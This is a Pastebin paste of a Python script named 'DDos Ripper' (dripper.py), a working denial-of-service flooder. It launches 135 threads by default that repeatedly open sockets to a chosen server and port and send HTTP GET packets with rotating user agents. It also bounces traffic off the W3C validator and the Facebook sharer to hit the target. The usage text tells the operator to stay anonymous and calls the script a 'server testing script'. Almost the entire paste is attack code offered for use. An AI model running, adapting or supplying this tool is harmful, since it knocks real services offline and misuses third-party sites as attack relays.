Guest User

Untitled

a guest
Sep 22nd, 2025
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.93 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3.  
  4.  
  5.  
  6. import sys
  7. from queue import Queue
  8. from optparse import OptionParser
  9. import time,sys,socket,threading,logging,urllib.request,random
  10.  
  11. print('''
  12.  
  13.  
  14. ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗██████╗ ██████╗ ███████╗██████╗
  15. ██╔══██╗██╔══██╗██╔═══██╗██╔════╝ ██╔══██╗██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  16. ██║ ██║██║ ██║██║ ██║███████╗ ██████╔╝██║██████╔╝██████╔╝█████╗ ██████╔╝
  17. ██║ ██║██║ ██║██║ ██║╚════██║ ██╔══██╗██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
  18. ██████╔╝██████╔╝╚██████╔╝███████║ ██║ ██║██║██║ ██║ ███████╗██║ ██║
  19. ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
  20. ©EngineRipper
  21. reference by Hammer
  22. ''')
  23.  
  24. def user_agent():
  25. global uagent
  26. uagent=[]
  27. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  28. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  29. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  30. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  31. uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  32. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  33. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  34. uagent.append("Mozilla / 5.0(X11;Linux i686; rv:81.0) Gecko / 20100101 Firefox / 81.0")
  35. uagent.append("Mozilla / 5.0(Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")
  36. uagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxi686;rv:81.0) Gecko / 20100101Firefox / 81.0")
  37. uagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")
  38. uagent.append("Mozilla / 5.0(X11;Fedora;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")
  39. return(uagent)
  40.  
  41.  
  42.  
  43. def my_bots():
  44. global bots
  45. bots=[]
  46. bots.append("http://validator.w3.org/check?uri=")
  47. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  48. return(bots)
  49.  
  50.  
  51. def my_bots2():
  52. global bots
  53. bots=[]
  54. bots.append("http://validator.w3.org/check?uri=")
  55. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  56. return(bots)
  57.  
  58.  
  59.  
  60. def bot_rippering(url):
  61. try:
  62. while True:
  63. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  64. print("\033[95mbot is rippering...\033[0m")
  65. time.sleep(.1)
  66. except:
  67. time.sleep(.1)
  68.  
  69. def bot_again_rippering(url):
  70. try:
  71. while True:
  72. req = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': random.choice(uagent)}))
  73. print("\033[90magain bot is rippering...\033[0m")
  74. time.sleep(.1)
  75. except:
  76. time.sleep(.2)
  77.  
  78.  
  79. def down_it(item):
  80. try:
  81. while True:
  82. packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  83. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  84. s.connect((host,int(port)))
  85. if s.sendto( packet, (host, int(port)) ):
  86. s.shutdown(1)
  87. print ("\033[92m",time.ctime(time.time()),"\033[0m \033[92m <--packet sent! rippering--> \033[0m")
  88. else:
  89. s.shutdown(1)
  90. print("\033[91mshut<->down\033[0m")
  91. time.sleep(.1)
  92. except socket.error as e:
  93. print("\033[91mno connection! web server maybe down!\033[0m")
  94. #print("\033[91m",e,"\033[0m")
  95. time.sleep(.1)
  96.  
  97.  
  98. def dos():
  99. while True:
  100. item = q.get()
  101. down_it(item)
  102. q.task_done()
  103.  
  104.  
  105. def dos2():
  106. while True:
  107. item=w.get()
  108. bot_rippering(random.choice(bots)+"http://"+host)
  109. w.task_done()
  110.  
  111. #def dos3():
  112. # while True:
  113. # item = e.get()
  114. # bot_rippering(random.choice(bots)+"http://"+host)
  115. # e.task_done()
  116.  
  117. def usage():
  118. print (''' \033[0;95mDDos Ripper
  119.  
  120. It is the end user's responsibility to obey all applicable laws.
  121. It is just like a server testing script and Your ip is visible. Please, make sure you are anonymous! \n
  122. Usage : python3 dripper.py [-s] [-p] [-t] [-q]
  123. -h : -help
  124. -s : -server ip
  125. -p : -port default 80
  126. -q : -quiet
  127.  
  128. -t : -turbo default 135 or 443 \033[0m ''')
  129.  
  130. sys.exit()
  131.  
  132.  
  133. def get_parameters():
  134. global host
  135. global port
  136. global thr
  137. global item
  138. optp = OptionParser(add_help_option=False,epilog="Rippers")
  139. optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  140. optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  141. optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 or 443 -t 135 or 443")
  142. optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  143. optp.add_option("-q", "--quiet", help="set logging to ERROR", action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  144. opts, args = optp.parse_args()
  145. logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  146. if opts.help:
  147. usage()
  148. if opts.host is not None:
  149. host = opts.host
  150. else:
  151. usage()
  152. if opts.port is None:
  153. port = 80
  154. else:
  155. port = opts.port
  156.  
  157. if opts.turbo is None:
  158. thr = 135
  159. else:
  160. thr = opts.turbo
  161.  
  162.  
  163.  
  164. # reading headers
  165. global data
  166. headers = open("headers.txt", "r")
  167. data = headers.read()
  168. headers.close()
  169. #task queue are q,w,e
  170. q = Queue()
  171. w = Queue()
  172. e = Queue()
  173.  
  174.  
  175. if __name__ == '__main__':
  176. if len(sys.argv) < 2:
  177. usage()
  178. get_parameters()
  179. print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
  180. print("\033[94mPlease wait...\033[0m")
  181. user_agent()
  182. my_bots()
  183. time.sleep(5)
  184. try:
  185. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  186. s.connect((host,int(port)))
  187. s.settimeout(1)
  188. except socket.error as e:
  189. print("\033[91mcheck server ip and port\033[0m")
  190. usage()
  191. while True:
  192. for i in range(int(thr)):
  193. t = threading.Thread(target=dos)
  194. t.daemon = True # if thread is exist, it dies
  195. t.start()
  196. t2 = threading.Thread(target=dos2)
  197. t2.daemon = True # if thread is exist, it dies
  198. t2.start()
  199. # t3 = threading/Thread(target=dos3)
  200. # t3.daemon = True # if thread is exist, it dies
  201. # t3.start()
  202. start = time.time()
  203. #tasking
  204. item = 0
  205. while True:
  206. if (item>1800): # for no memory crash
  207. item=0
  208. time.sleep(.1)
  209. item = item + 1
  210. q.put(item)
  211. w.put(item)
  212. e.put(item)
  213. q.join()
  214. w.join()
  215. e.join()
Advertisement
Add Comment
Please, Sign In to add comment